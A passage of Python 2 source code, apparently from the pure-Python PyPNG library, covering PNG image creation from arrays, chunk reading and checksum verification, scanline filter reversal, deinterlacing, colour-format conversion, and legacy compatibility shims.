the line "off the top" # of the image simpler. "up" becomes "none"; "paeth" becomes # "left" (non-trivial, but true). "average" needs to be handled # specially. if type == 2: # "up" return line # type = 0 elif type == 3: prev = [0]*len(line) elif type == 4: # "paeth" type = 1 if type == 0: out.extend(line) elif type == 1: sub() elif type == 2: up() elif type == 3: average() else: # type == 4 paeth() return out def from_array(a, mode=None, info={}): """Create a PNG :class:`Image` object from a 2- or 3-dimensional array. One application of this function is easy PIL-style saving: ``png.from_array(pixels, 'L').save('foo.png')``. .. note : The use of the term *3-dimensional* is for marketing purposes only. It doesn't actually work. Please bear with us. Meanwhile enjoy the complimentary snacks (on request) and please use a 2-dimensional array. Unless they are specified using the *info* parameter, the PNG's height and width are taken from the array size. For a 3 dimensional array the first axis is the height; the second axis is the width; and the third axis is the channel number. Thus an RGB image that is 16 pixels high and 8 wide will use an array that is 16x8x3. For 2 dimensional arrays the first axis is the height, but the second axis is ``width*channels``, so an RGB image that is 16 pixels high and 8 wide will use a 2-dimensional array that is 16x24 (each row will be 8*3==24 sample values). *mode* is a string that specifies the image colour format in a PIL-style mode. It can be: ``'L'`` greyscale (1 channel) ``'LA'`` greyscale with alpha (2 channel) ``'RGB'`` colour image (3 channel) ``'RGBA'`` colour image with alpha (4 channel) The mode string can also specify the bit depth (overriding how this function normally derives the bit depth, see below). Appending ``';16'`` to the mode will cause the PNG to be 16 bits per channel; any decimal from 1 to 16 can be used to specify the bit depth. When a 2-dimensional array is used *mode* determines how many channels the image has, and so allows the width to be derived from the second array dimension. The array is expected to be a ``numpy`` array, but it can be any suitable Python sequence. For example, a list of lists can be used: ``png.from_array([[0, 255, 0], [255, 0, 255]], 'L')``. The exact rules are: ``len(a)`` gives the first dimension, height; ``len(a[0])`` gives the second dimension; ``len(a[0][0])`` gives the third dimension, unless an exception is raised in which case a 2-dimensional array is assumed. It's slightly more complicated than that because an iterator of rows can be used, and it all still works. Using an iterator allows data to be streamed efficiently. The bit depth of the PNG is normally taken from the array element's datatype (but if *mode* specifies a bitdepth then that is used instead). The array element's datatype is determined in a way which is supposed to work both for ``numpy`` arrays and for Python ``array.array`` objects. A 1 byte datatype will give a bit depth of 8, a 2 byte datatype will give a bit depth of 16. If the datatype does not have an implicit size, for example it is a plain Python list of lists, as above, then a default of 8 is used. The *info* parameter is a dictionary that can be used to specify metadata (in the same style as the arguments to the :class:``png.Writer`` class). For this function the keys that are useful are: height overrides the height derived from the array dimensions and allows *a* to be an iterable. width overrides the width derived from the array dimensions. bitdepth overrides the bit depth derived from the element datatype (but must match *mode* if that also specifies a bit depth). Generally anything specified in the *info* dictionary will override any implicit choices that this function would otherwise make, but must match any explicit ones. For example, if the *info* dictionary has a ``greyscale`` key then this must be true when mode is ``'L'`` or ``'LA'`` and false when mode is ``'RGB'`` or ``'RGBA'``. """ # We abuse the *info* parameter by modifying it. Take a copy here. # (Also typechecks *info* to some extent). info = dict(info) # Syntax check mode string. bitdepth = None try: mode = mode.split(';') if len(mode) not in (1,2): raise Error() if mode[0] not in ('L', 'LA', 'RGB', 'RGBA'): raise Error() if len(mode) == 2: try: bitdepth = int(mode[1]) except: raise Error() except Error: raise Error("mode string should be 'RGB' or 'L;16' or similar.") mode = mode[0] # Get bitdepth from *mode* if possible. if bitdepth: if info.get('bitdepth') and bitdepth != info['bitdepth']: raise Error("mode bitdepth (%d) should match info bitdepth (%d)." % (bitdepth, info['bitdepth'])) info['bitdepth'] = bitdepth # Fill in and/or check entries in *info*. # Dimensions. if 'size' in info: # Check width, height, size all match where used. for dimension,axis in [('width', 0), ('height', 1)]: if dimension in info: if info[dimension] != info['size'][axis]: raise Error( "info[%r] shhould match info['size'][%r]." % (dimension, axis)) info['width'],info['height'] = info['size'] if 'height' not in info: try: l = len(a) except: raise Error( "len(a) does not work, supply info['height'] instead.") info['height'] = l # Colour format. if 'greyscale' in info: if bool(info['greyscale']) != ('L' in mode): raise Error("info['greyscale'] should match mode.") info['greyscale'] = 'L' in mode if 'alpha' in info: if bool(info['alpha']) != ('A' in mode): raise Error("info['alpha'] should match mode.") info['alpha'] = 'A' in mode planes = len(mode) if 'planes' in info: if info['planes'] != planes: raise Error("info['planes'] should match mode.") # In order to work out whether we the array is 2D or 3D we need its # first row, which requires that we take a copy of its iterator. # We may also need the first row to derive width and bitdepth. a,t = itertools.tee(a) row = t.next() del t try: row[0][0] threed = True testelement = row[0] except: threed = False testelement = row if 'width' not in info: if threed: width = len(row) else: width = len(row) // planes info['width'] = width # Not implemented yet assert not threed if 'bitdepth' not in info: try: dtype = testelement.dtype # goto the "else:" clause. Sorry. except: try: # Try a Python array.array. bitdepth = 8 * testelement.itemsize except: # We can't determine it from the array element's # datatype, use a default of 8. bitdepth = 8 else: # If we got here without exception, we now assume that # the array is a numpy array. if dtype.kind == 'b': bitdepth = 1 else: bitdepth = 8 * dtype.itemsize info['bitdepth'] = bitdepth for thing in 'width height bitdepth greyscale alpha'.split(): assert thing in info return Image(a, info) # So that refugee's from PIL feel more at home. Not documented. fromarray = from_array class Image: """A PNG image. You can create an :class:`Image` object from an array of pixels by calling :meth:`png.from_array`. It can be saved to disk with the :meth:`save` method.""" def __init__(self, rows, info): """ .. note :: The constructor is not public. Please do not call it. """ self.rows = rows self.info = info def save(self, file): """Save the image to *file*. If *file* looks like an open file descriptor then it is used, otherwise it is treated as a filename and a fresh file is opened. In general, you can only call this method once; after it has been called the first time and the PNG image has been saved, the source data will have been streamed, and cannot be streamed again. """ w = Writer(**self.info) try: file.write def close(): pass except: file = open(file, 'wb') def close(): file.close() try: w.write(file, self.rows) finally: close() class _readable: """ A simple file-like interface for strings and arrays. """ def __init__(self, buf): self.buf = buf self.offset = 0 def read(self, n): r = self.buf[self.offset:self.offset+n] if isarray(r): r = r.tostring() self.offset += n return r class Reader: """ PNG decoder in pure Python. """ def __init__(self, _guess=None, **kw): """ Create a PNG decoder object. The constructor expects exactly one keyword argument. If you supply a positional argument instead, it will guess the input type. You can choose among the following keyword arguments: filename Name of input file (a PNG file). file A file-like object (object with a read() method). bytes ``array`` or ``string`` with PNG data. """ if ((_guess is not None and len(kw) != 0) or (_guess is None and len(kw) != 1)): raise TypeError("Reader() takes exactly 1 argument") # Will be the first 8 bytes, later on. See validate_signature. self.signature = None self.transparent = None # A pair of (len,type) if a chunk has been read but its data and # checksum have not (in other words the file position is just # past the 4 bytes that specify the chunk type). See preamble # method for how this is used. self.atchunk = None if _guess is not None: if isarray(_guess): kw["bytes"] = _guess elif isinstance(_guess, str): kw["filename"] = _guess elif isinstance(_guess, file): kw["file"] = _guess if "filename" in kw: self.file = open(kw["filename"], "rb") elif "file" in kw: self.file = kw["file"] elif "bytes" in kw: self.file = _readable(kw["bytes"]) else: raise TypeError("expecting filename, file or bytes array") def chunk(self, seek=None, lenient=False): """ Read the next PNG chunk from the input file; returns a (*type*,*data*) tuple. *type* is the chunk's type as a string (all PNG chunk types are 4 characters long). *data* is the chunk's data content, as a string. If the optional `seek` argument is specified then it will keep reading chunks until it either runs out of file or finds the type specified by the argument. Note that in general the order of chunks in PNGs is unspecified, so using `seek` can cause you to miss chunks. If the optional `lenient` argument evaluates to True, checksum failures will raise warnings rather than exceptions. """ self.validate_signature() while True: # http://www.w3.org/TR/PNG/#5Chunk-layout if not self.atchunk: self.atchunk = self.chunklentype() length,type = self.atchunk self.atchunk = None data = self.file.read(length) if len(data) != length: raise ChunkError('Chunk %s too short for required %i octets.' % (type, length)) checksum = self.file.read(4) if len(checksum) != 4: raise ValueError('Chunk %s too short for checksum.', tag) if seek and type != seek: continue verify = zlib.crc32(strtobytes(type)) verify = zlib.crc32(data, verify) # Whether the output from zlib.crc32 is signed or not varies # according to hideous implementation details, see # http://bugs.python.org/issue1202 . # We coerce it to be positive here (in a way which works on # Python 2.3 and older). verify &= 2**32 - 1 verify = struct.pack('!I', verify) if checksum != verify: # print repr(checksum) (a, ) = struct.unpack('!I', checksum) (b, ) = struct.unpack('!I', verify) message = "Checksum error in %s chunk: 0x%08X != 0x%08X." % (type, a, b) if lenient: warnings.warn(message, RuntimeWarning) else: raise ChunkError(message) return type, data def chunks(self): """Return an iterator that will yield each chunk as a (*chunktype*, *content*) pair. """ while True: t,v = self.chunk() yield t,v if t == 'IEND': break def undo_filter(self, filter_type, scanline, previous): """Undo the filter for a scanline. `scanline` is a sequence of bytes that does not include the initial filter type byte. `previous` is decoded previous scanline (for straightlaced images this is the previous pixel row, but for interlaced images, it is the previous scanline in the reduced image, which in general is not the previous pixel row in the final image). When there is no previous scanline (the first row of a straightlaced image, or the first row in one of the passes in an interlaced image), then this argument should be ``None``. The scanline will have the effects of filtering removed, and the result will be returned as a fresh sequence of bytes. """ # :todo: Would it be better to update scanline in place? # Yes, with the Cython extension making the undo_filter fast, # updating scanline inplace makes the code 3 times faster # (reading 50 images of 800x800 went from 40s to 16s) result = scanline if filter_type == 0: return result if filter_type not in (1,2,3,4): raise FormatError('Invalid PNG Filter Type.' ' See http://www.w3.org/TR/2003/REC-PNG-20031110/#9Filters .') # Filter unit. The stride from one pixel to the corresponding # byte from the previous previous. Normally this is the pixel # size in bytes, but when this is smaller than 1, the previous # byte is used instead. fu = max(1, self.psize) # For the first line of a pass, synthesize a dummy previous # line. An alternative approach would be to observe that on the # first line 'up' is the same as 'null', 'paeth' is the same # as 'sub', with only 'average' requiring any special case. if not previous: previous = array('B', [0]*len(scanline)) def sub(): """Undo sub filter.""" ai = 0 # Loops starts at index fu. Observe that the initial part # of the result is already filled in correctly with # scanline. for i in range(fu, len(result)): x = scanline[i] a = result[ai] result[i] = (x + a) & 0xff ai += 1 def up(): """Undo up filter.""" for i in range(len(result)): x = scanline[i] b = previous[i] result[i] = (x + b) & 0xff def average(): """Undo average filter.""" ai = -fu for i in range(len(result)): x = scanline[i] if ai < 0: a = 0 else: a = result[ai] b = previous[i] result[i] = (x + ((a + b) >> 1)) & 0xff ai += 1 def paeth(): """Undo Paeth filter.""" # Also used for ci. ai = -fu for i in range(len(result)): x = scanline[i] if ai < 0: a = c = 0 else: a = result[ai] c = previous[ai] b = previous[i] p = a + b - c pa = abs(p - a) pb = abs(p - b) pc = abs(p - c) if pa <= pb and pa <= pc: pr = a elif pb <= pc: pr = b else: pr = c result[i] = (x + pr) & 0xff ai += 1 # Call appropriate filter algorithm. Note that 0 has already # been dealt with. (None, pngfilters.undo_filter_sub, pngfilters.undo_filter_up, pngfilters.undo_filter_average, pngfilters.undo_filter_paeth)[filter_type](fu, scanline, previous, result) return result def deinterlace(self, raw): """ Read raw pixel data, undo filters, deinterlace, and flatten. Return in flat row flat pixel format. """ # print >> sys.stderr, ("Reading interlaced, w=%s, r=%s, planes=%s," + # " bpp=%s") % (self.width, self.height, self.planes, self.bps) # Values per row (of the target image) vpr = self.width * self.planes # Make a result array, and make it big enough. Interleaving # writes to the output array randomly (well, not quite), so the # entire output array must be in memory. fmt = 'BH'[self.bitdepth > 8] a = array(fmt, [0]*vpr*self.height) source_offset = 0 for xstart, ystart, xstep, ystep in _adam7: # print >> sys.stderr, "Adam7: start=%s,%s step=%s,%s" % ( # xstart, ystart, xstep, ystep) if xstart >= self.width: continue # The previous (reconstructed) scanline. None at the # beginning of a pass to indicate that there is no previous # line. recon = None # Pixels per row (reduced pass image) ppr = int(math.ceil((self.width-xstart)/float(xstep))) # Row size in bytes for this pass. row_size = int(math.ceil(self.psize * ppr)) for y in range(ystart, self.height, ystep): filter_type = raw[source_offset] source_offset += 1 scanline = raw[source_offset:source_offset+row_size] source_offset += row_size recon = self.undo_filter(filter_type, scanline, recon) # Convert so that there is one element per pixel value flat = self.serialtoflat(recon, ppr) if xstep == 1: assert xstart == 0 offset = y * vpr a[offset:offset+vpr] = flat else: offset = y * vpr + xstart * self.planes end_offset = (y+1) * vpr skip = self.planes * xstep for i in range(self.planes): a[offset+i:end_offset:skip] = \ flat[i::self.planes] return a def iterboxed(self, rows): """Iterator that yields each scanline in boxed row flat pixel format. `rows` should be an iterator that yields the bytes of each row in turn. """ def asvalues(raw): """Convert a row of raw bytes into a flat row. Result may or may not share with argument""" if self.bitdepth == 8: return raw if self.bitdepth == 16: raw = tostring(raw) return array('H', struct.unpack('!%dH' % (len(raw)//2), raw)) assert self.bitdepth < 8 width = self.width # Samples per byte spb = 8//self.bitdepth out = array('B') mask = 2**self.bitdepth - 1 shifts = map(self.bitdepth.__mul__, reversed(range(spb))) for o in raw: out.extend(map(lambda i: mask&(o>>i), shifts)) return out[:width] return itertools.imap(asvalues, rows) def serialtoflat(self, bytes, width=None): """Convert serial format (byte stream) pixel data to flat row flat pixel. """ if self.bitdepth == 8: return bytes if self.bitdepth == 16: bytes = tostring(bytes) return array('H', struct.unpack('!%dH' % (len(bytes)//2), bytes)) assert self.bitdepth < 8 if width is None: width = self.width # Samples per byte spb = 8//self.bitdepth out = array('B') mask = 2**self.bitdepth - 1 shifts = map(self.bitdepth.__mul__, reversed(range(spb))) l = width for o in bytes: out.extend([(mask&(o>>s)) for s in shifts][:l]) l -= spb if l <= 0: l = width return out def iterstraight(self, raw): """Iterator that undoes the effect of filtering, and yields each row in serialised format (as a sequence of bytes). Assumes input is straightlaced. `raw` should be an iterable that yields the raw bytes in chunks of arbitrary size.""" # length of row, in bytes rb = self.row_bytes a = array('B') # The previous (reconstructed) scanline. None indicates first # line of image. recon = None for some in raw: a.extend(some) while len(a) >= rb + 1: filter_type = a[0] scanline = a[1:rb+1] del a[:rb+1] recon = self.undo_filter(filter_type, scanline, recon) yield recon if len(a) != 0: # :file:format We get here with a file format error: when the # available bytes (after decompressing) do not pack into exact # rows. raise FormatError( 'Wrong size for decompressed IDAT chunk.') assert len(a) == 0 def validate_signature(self): """If signature (header) has not been read then read and validate it; otherwise do nothing. """ if self.signature: return self.signature = self.file.read(8) if self.signature != _signature: raise FormatError("PNG file has invalid signature.") def preamble(self, lenient=False): """ Extract the image metadata by reading the initial part of the PNG file up to the start of the ``IDAT`` chunk. All the chunks that precede the ``IDAT`` chunk are read and either processed for metadata or discarded. If the optional `lenient` argument evaluates to True, checksum failures will raise warnings rather than exceptions. """ self.validate_signature() while True: if not self.atchunk: self.atchunk = self.chunklentype() if self.atchunk is None: raise FormatError( 'This PNG file has no IDAT chunks.') if self.atchunk[1] == 'IDAT': return self.process_chunk(lenient=lenient) def chunklentype(self): """Reads just enough of the input to determine the next chunk's length and type, returned as a (*length*, *type*) pair where *type* is a string. If there are no more chunks, ``None`` is returned. """ x = self.file.read(8) if not x: return None if len(x) != 8: raise FormatError( 'End of file whilst reading chunk length and type.') length,type = struct.unpack('!I4s', x) type = bytestostr(type) if length > 2**31-1: raise FormatError('Chunk %s is too large: %d.' % (type,length)) return length,type def process_chunk(self, lenient=False): """Process the next chunk and its data. This only processes the following chunk types, all others are ignored: ``IHDR``, ``PLTE``, ``bKGD``, ``tRNS``, ``gAMA``, ``sBIT``. If the optional `lenient` argument evaluates to True, checksum failures will raise warnings rather than exceptions. """ type, data = self.chunk(lenient=lenient) if type == 'IHDR': # http://www.w3.org/TR/PNG/#11IHDR if len(data) != 13: raise FormatError('IHDR chunk has incorrect length.') (self.width, self.height, self.bitdepth, self.color_type, self.compression, self.filter, self.interlace) = struct.unpack("!2I5B", data) # Check that the header specifies only valid combinations. if self.bitdepth not in (1,2,4,8,16): raise Error("invalid bit depth %d" % self.bitdepth) if self.color_type not in (0,2,3,4,6): raise Error("invalid colour type %d" % self.color_type) # Check indexed (palettized) images have 8 or fewer bits # per pixel; check only indexed or greyscale images have # fewer than 8 bits per pixel. if ((self.color_type & 1 and self.bitdepth > 8) or (self.bitdepth < 8 and self.color_type not in (0,3))): raise FormatError("Illegal combination of bit depth (%d)" " and colour type (%d)." " See http://www.w3.org/TR/2003/REC-PNG-20031110/#table111 ." % (self.bitdepth, self.color_type)) if self.compression != 0: raise Error("unknown compression method %d" % self.compression) if self.filter != 0: raise FormatError("Unknown filter method %d," " see http://www.w3.org/TR/2003/REC-PNG-20031110/#9Filters ." % self.filter) if self.interlace not in (0,1): raise FormatError("Unknown interlace method %d," " see http://www.w3.org/TR/2003/REC-PNG-20031110/#8InterlaceMethods ." % self.interlace) # Derived values # http://www.w3.org/TR/PNG/#6Colour-values colormap = bool(self.color_type & 1) greyscale = not (self.color_type & 2) alpha = bool(self.color_type & 4) color_planes = (3,1)[greyscale or colormap] planes = color_planes + alpha self.colormap = colormap self.greyscale = greyscale self.alpha = alpha self.color_planes = color_planes self.planes = planes self.psize = float(self.bitdepth)/float(8) * planes if int(self.psize) == self.psize: self.psize = int(self.psize) self.row_bytes = int(math.ceil(self.width * self.psize)) # Stores PLTE chunk if present, and is used to check # chunk ordering constraints. self.plte = None # Stores tRNS chunk if present, and is used to check chunk # ordering constraints. self.trns = None # Stores sbit chunk if present. self.sbit = None elif type == 'PLTE': # http://www.w3.org/TR/PNG/#11PLTE if self.plte: warnings.warn("Multiple PLTE chunks present.") self.plte = data if len(data) % 3 != 0: raise FormatError( "PLTE chunk's length should be a multiple of 3.") if len(data) > (2**self.bitdepth)*3: raise FormatError("PLTE chunk is too long.") if len(data) == 0: raise FormatError("Empty PLTE is not allowed.") elif type == 'bKGD': try: if self.colormap: if not self.plte: warnings.warn( "PLTE chunk is required before bKGD chunk.") self.background = struct.unpack('B', data) else: self.background = struct.unpack("!%dH" % self.color_planes, data) except struct.error: raise FormatError("bKGD chunk has incorrect length.") elif type == 'tRNS': # http://www.w3.org/TR/PNG/#11tRNS self.trns = data if self.colormap: if not self.plte: warnings.warn("PLTE chunk is required before tRNS chunk.") else: if len(data) > len(self.plte)/3: # Was warning, but promoted to Error as it # would otherwise cause pain later on. raise FormatError("tRNS chunk is too long.") else: if self.alpha: raise FormatError( "tRNS chunk is not valid with colour type %d." % self.color_type) try: self.transparent = \ struct.unpack("!%dH" % self.color_planes, data) except struct.error: raise FormatError("tRNS chunk has incorrect length.") elif type == 'gAMA': try: self.gamma = struct.unpack("!L", data)[0] / 100000.0 except struct.error: raise FormatError("gAMA chunk has incorrect length.") elif type == 'sBIT': self.sbit = data if (self.colormap and len(data) != 3 or not self.colormap and len(data) != self.planes): raise FormatError("sBIT chunk has incorrect length.") def read(self, lenient=False): """ Read the PNG file and decode it. Returns (`width`, `height`, `pixels`, `metadata`). May use excessive memory. `pixels` are returned in boxed row flat pixel format. If the optional `lenient` argument evaluates to True, checksum failures will raise warnings rather than exceptions. """ def iteridat(): """Iterator that yields all the ``IDAT`` chunks as strings.""" while True: try: type, data = self.chunk(lenient=lenient) except ValueError, e: raise ChunkError(e.args[0]) if type == 'IEND': # http://www.w3.org/TR/PNG/#11IEND break if type != 'IDAT': continue # type == 'IDAT' # http://www.w3.org/TR/PNG/#11IDAT if self.colormap and not self.plte: warnings.warn("PLTE chunk is required before IDAT chunk") yield data def iterdecomp(idat): """Iterator that yields decompressed strings. `idat` should be an iterator that yields the ``IDAT`` chunk data. """ # Currently, with no max_length paramter to decompress, this # routine will do one yield per IDAT chunk. So not very # incremental. d = zlib.decompressobj() # Each IDAT chunk is passed to the decompressor, then any # remaining state is decompressed out. for data in idat: # :todo: add a max_length argument here to limit output # size. yield array('B', d.decompress(data)) yield array('B', d.flush()) self.preamble(lenient=lenient) raw = iterdecomp(iteridat()) if self.interlace: raw = array('B', itertools.chain(*raw)) arraycode = 'BH'[self.bitdepth>8] # Like :meth:`group` but producing an array.array object for # each row. pixels = itertools.imap(lambda *row: array(arraycode, row), *[iter(self.deinterlace(raw))]*self.width*self.planes) else: pixels = self.iterboxed(self.iterstraight(raw)) meta = dict() for attr in 'greyscale alpha planes bitdepth interlace'.split(): meta[attr] = getattr(self, attr) meta['size'] = (self.width, self.height) for attr in 'gamma transparent background'.split(): a = getattr(self, attr, None) if a is not None: meta[attr] = a if self.plte: meta['palette'] = self.palette() return self.width, self.height, pixels, meta def read_flat(self): """ Read a PNG file and decode it into flat row flat pixel format. Returns (*width*, *height*, *pixels*, *metadata*). May use excessive memory. `pixels` are returned in flat row flat pixel format. See also the :meth:`read` method which returns pixels in the more stream-friendly boxed row flat pixel format. """ x, y, pixel, meta = self.read() arraycode = 'BH'[meta['bitdepth']>8] pixel = array(arraycode, itertools.chain(*pixel)) return x, y, pixel, meta def palette(self, alpha='natural'): """Returns a palette that is a sequence of 3-tuples or 4-tuples, synthesizing it from the ``PLTE`` and ``tRNS`` chunks. These chunks should have already been processed (for example, by calling the :meth:`preamble` method). All the tuples are the same size: 3-tuples if there is no ``tRNS`` chunk, 4-tuples when there is a ``tRNS`` chunk. Assumes that the image is colour type 3 and therefore a ``PLTE`` chunk is required. If the `alpha` argument is ``'force'`` then an alpha channel is always added, forcing the result to be a sequence of 4-tuples. """ if not self.plte: raise FormatError( "Required PLTE chunk is missing in colour type 3 image.") plte = group(array('B', self.plte), 3) if self.trns or alpha == 'force': trns = array('B', self.trns or '') trns.extend([255]*(len(plte)-len(trns))) plte = map(operator.add, plte, group(trns, 1)) return plte def asDirect(self): """Returns the image data as a direct representation of an ``x * y * planes`` array. This method is intended to remove the need for callers to deal with palettes and transparency themselves. Images with a palette (colour type 3) are converted to RGB or RGBA; images with transparency (a ``tRNS`` chunk) are converted to LA or RGBA as appropriate. When returned in this format the pixel values represent the colour value directly without needing to refer to palettes or transparency information. Like the :meth:`read` method this method returns a 4-tuple: (*width*, *height*, *pixels*, *meta*) This method normally returns pixel values with the bit depth they have in the source image, but when the source PNG has an ``sBIT`` chunk it is inspected and can reduce the bit depth of the result pixels; pixel values will be reduced according to the bit depth specified in the ``sBIT`` chunk (PNG nerds should note a single result bit depth is used for all channels; the maximum of the ones specified in the ``sBIT`` chunk. An RGB565 image will be rescaled to 6-bit RGB666). The *meta* dictionary that is returned reflects the `direct` format and not the original source image. For example, an RGB source image with a ``tRNS`` chunk to represent a transparent colour, will have ``planes=3`` and ``alpha=False`` for the source image, but the *meta* dictionary returned by this method will have ``planes=4`` and ``alpha=True`` because an alpha channel is synthesized and added. *pixels* is the pixel data in boxed row flat pixel format (just like the :meth:`read` method). All the other aspects of the image data are not changed. """ self.preamble() # Simple case, no conversion necessary. if not self.colormap and not self.trns and not self.sbit: return self.read() x,y,pixels,meta = self.read() if self.colormap: meta['colormap'] = False meta['alpha'] = bool(self.trns) meta['bitdepth'] = 8 meta['planes'] = 3 + bool(self.trns) plte = self.palette() def iterpal(pixels): for row in pixels: row = map(plte.__getitem__, row) yield array('B', itertools.chain(*row)) pixels = iterpal(pixels) elif self.trns: # It would be nice if there was some reasonable way of doing # this without generating a whole load of intermediate tuples. # But tuples does seem like the easiest way, with no other way # clearly much simpler or much faster. (Actually, the L to LA # conversion could perhaps go faster (all those 1-tuples!), but # I still wonder whether the code proliferation is worth it) it = self.transparent maxval = 2**meta['bitdepth']-1 planes = meta['planes'] meta['alpha'] = True meta['planes'] += 1 typecode = 'BH'[meta['bitdepth']>8] def itertrns(pixels): for row in pixels: # For each row we group it into pixels, then form a # characterisation vector that says whether each pixel # is opaque or not. Then we convert True/False to # 0/maxval (by multiplication), and add it as the extra # channel. row = group(row, planes) opa = map(it.__ne__, row) opa = map(maxval.__mul__, opa) opa = zip(opa) # convert to 1-tuples yield array(typecode, itertools.chain(*map(operator.add, row, opa))) pixels = itertrns(pixels) targetbitdepth = None if self.sbit: sbit = struct.unpack('%dB' % len(self.sbit), self.sbit) targetbitdepth = max(sbit) if targetbitdepth > meta['bitdepth']: raise Error('sBIT chunk %r exceeds bitdepth %d' % (sbit,self.bitdepth)) if min(sbit) <= 0: raise Error('sBIT chunk %r has a 0-entry' % sbit) if targetbitdepth == meta['bitdepth']: targetbitdepth = None if targetbitdepth: shift = meta['bitdepth'] - targetbitdepth meta['bitdepth'] = targetbitdepth def itershift(pixels): for row in pixels: yield map(shift.__rrshift__, row) pixels = itershift(pixels) return x,y,pixels,meta def asFloat(self, maxval=1.0): """Return image pixels as per :meth:`asDirect` method, but scale all pixel values to be floating point values between 0.0 and *maxval*. """ x,y,pixels,info = self.asDirect() sourcemaxval = 2**info['bitdepth']-1 del info['bitdepth'] info['maxval'] = float(maxval) factor = float(maxval)/float(sourcemaxval) def iterfloat(): for row in pixels: yield map(factor.__mul__, row) return x,y,iterfloat(),info def _as_rescale(self, get, targetbitdepth): """Helper used by :meth:`asRGB8` and :meth:`asRGBA8`.""" width,height,pixels,meta = get() maxval = 2**meta['bitdepth'] - 1 targetmaxval = 2**targetbitdepth - 1 factor = float(targetmaxval) / float(maxval) meta['bitdepth'] = targetbitdepth def iterscale(): for row in pixels: yield map(lambda x: int(round(x*factor)), row) if maxval == targetmaxval: return width, height, pixels, meta else: return width, height, iterscale(), meta def asRGB8(self): """Return the image data as an RGB pixels with 8-bits per sample. This is like the :meth:`asRGB` method except that this method additionally rescales the values so that they are all between 0 and 255 (8-bit). In the case where the source image has a bit depth < 8 the transformation preserves all the information; where the source image has bit depth > 8, then rescaling to 8-bit values loses precision. No dithering is performed. Like :meth:`asRGB`, an alpha channel in the source image will raise an exception. This function returns a 4-tuple: (*width*, *height*, *pixels*, *metadata*). *width*, *height*, *metadata* are as per the :meth:`read` method. *pixels* is the pixel data in boxed row flat pixel format. """ return self._as_rescale(self.asRGB, 8) def asRGBA8(self): """Return the image data as RGBA pixels with 8-bits per sample. This method is similar to :meth:`asRGB8` and :meth:`asRGBA`: The result pixels have an alpha channel, *and* values are rescaled to the range 0 to 255. The alpha channel is synthesized if necessary (with a small speed penalty). """ return self._as_rescale(self.asRGBA, 8) def asRGB(self): """Return image as RGB pixels. RGB colour images are passed through unchanged; greyscales are expanded into RGB triplets (there is a small speed overhead for doing this). An alpha channel in the source image will raise an exception. The return values are as for the :meth:`read` method except that the *metadata* reflect the returned pixels, not the source image. In particular, for this method ``metadata['greyscale']`` will be ``False``. """ width,height,pixels,meta = self.asDirect() if meta['alpha']: raise Error("will not convert image with alpha channel to RGB") if not meta['greyscale']: return width,height,pixels,meta meta['greyscale'] = False typecode = 'BH'[meta['bitdepth'] > 8] def iterrgb(): for row in pixels: a = array(typecode, [0]) * 3 * width for i in range(3): a[i::3] = row yield a return width,height,iterrgb(),meta def asRGBA(self): """Return image as RGBA pixels. Greyscales are expanded into RGB triplets; an alpha channel is synthesized if necessary. The return values are as for the :meth:`read` method except that the *metadata* reflect the returned pixels, not the source image. In particular, for this method ``metadata['greyscale']`` will be ``False``, and ``metadata['alpha']`` will be ``True``. """ width,height,pixels,meta = self.asDirect() if meta['alpha'] and not meta['greyscale']: return width,height,pixels,meta typecode = 'BH'[meta['bitdepth'] > 8] maxval = 2**meta['bitdepth'] - 1 maxbuffer = struct.pack('=' + typecode, maxval) * 4 * width def newarray(): return array(typecode, maxbuffer) if meta['alpha'] and meta['greyscale']: # LA to RGBA def convert(): for row in pixels: # Create a fresh target row, then copy L channel # into first three target channels, and A channel # into fourth channel. a = newarray() pngfilters.convert_la_to_rgba(row, a) yield a elif meta['greyscale']: # L to RGBA def convert(): for row in pixels: a = newarray() pngfilters.convert_l_to_rgba(row, a) yield a else: assert not meta['alpha'] and not meta['greyscale'] # RGB to RGBA def convert(): for row in pixels: a = newarray() pngfilters.convert_rgb_to_rgba(row, a) yield a meta['alpha'] = True meta['greyscale'] = False return width,height,convert(),meta # === Legacy Version Support === # :pyver:old: PyPNG works on Python versions 2.3 and 2.2, but not # without some awkward problems. Really PyPNG works on Python 2.4 (and # above); it works on Pythons 2.3 and 2.2 by virtue of fixing up # problems here. It's a bit ugly (which is why it's hidden down here). # # Generally the strategy is one of pretending that we're running on # Python 2.4 (or above), and patching up the library support on earlier # versions so that it looks enough like Python 2.4. When it comes to # Python 2.2 there is one thing we cannot patch: extended slices # http://www.python.org/doc/2.3/whatsnew/section-slices.html. # Instead we simply declare that features that are implemented using # extended slices will not work on Python 2.2. # # In order to work on Python 2.3 we fix up a recurring annoyance involving # the array type. In Python 2.3 an array cannot be initialised with an # array, and it cannot be extended with a list (or other sequence). # Both of those are repeated issues in the code. Whilst I would not # normally tolerate this sort of behaviour, here we "shim" a replacement # for array into place (and hope no-ones notices). You never read this. # # In an amusing case of warty hacks on top of warty hacks... the array # shimming we try and do only works on Python 2.3 and above (you can't # subclass array.array in Python 2.2). So to get it working on Python # 2.2 we go for something much simpler and (probably) way slower. try: array('B').extend([]) array('B', array('B')) except: # Expect to get here on Python 2.3 try: class _array_shim(array): true_array = array def __new__(cls, typecode, init=None): super_new = super(_array_shim, cls).__new__ it = super_new(cls, typecode) if init is None: return it it.extend(init) return it def extend(self, extension): super_extend = super(_array_shim, self).extend if isinstance(extension, self.true_array): return super_extend(extension) if not isinstance(extension, (list, str)): # Convert to list. Allows iterators to work. extension = list(extension) return super_extend(self.true_array(self.typecode, extension)) array = _array_shim except: # Expect to get here on Python 2.2 def array(typecode, init=()): if type(init) == str: return map(ord, init) return list(init) # Further hacks to get it limping along on Python 2.2 try: enumerate except: def enumerate(seq): i=0 for x in seq: yield i,x i += 1 try: reversed except: def reversed(l): l = list(l) l.reverse() for x in l: yield x try: itertools except: class _dummy_itertools: pass itertools = _dummy_itertools() def _itertools_imap(f, seq): for x in seq: yield f(x) itertools.imap = _itertools_imap def _itertools_chain(*iterables): for it in iterables: for element in it: yield element itertools.chain = _itertools_chain # === Support for users without Cython === try: pngfilters except: class pngfilters(object): def undo_filter_sub(filter_unit, scanline, previous, result): """Undo sub filter.""" ai = 0 # Loops starts at index fu. Observe that the initial part # of the result is already filled in correctly with # scanline. for i in range(filter_unit, len(result)): x = scanline[i] a = result[ai] result[i] = (x + a) & 0xff ai += 1 undo_filter_sub = staticmethod(undo_filter_sub) def undo_filter_up(filter_unit, scanline, previous, result): """Undo up filter.""" for i in range(len(result)): x = scanline[i] b = previous[i] result[i] = (x + b) & 0xff undo_filter_up = staticmethod(undo_filter_up) def 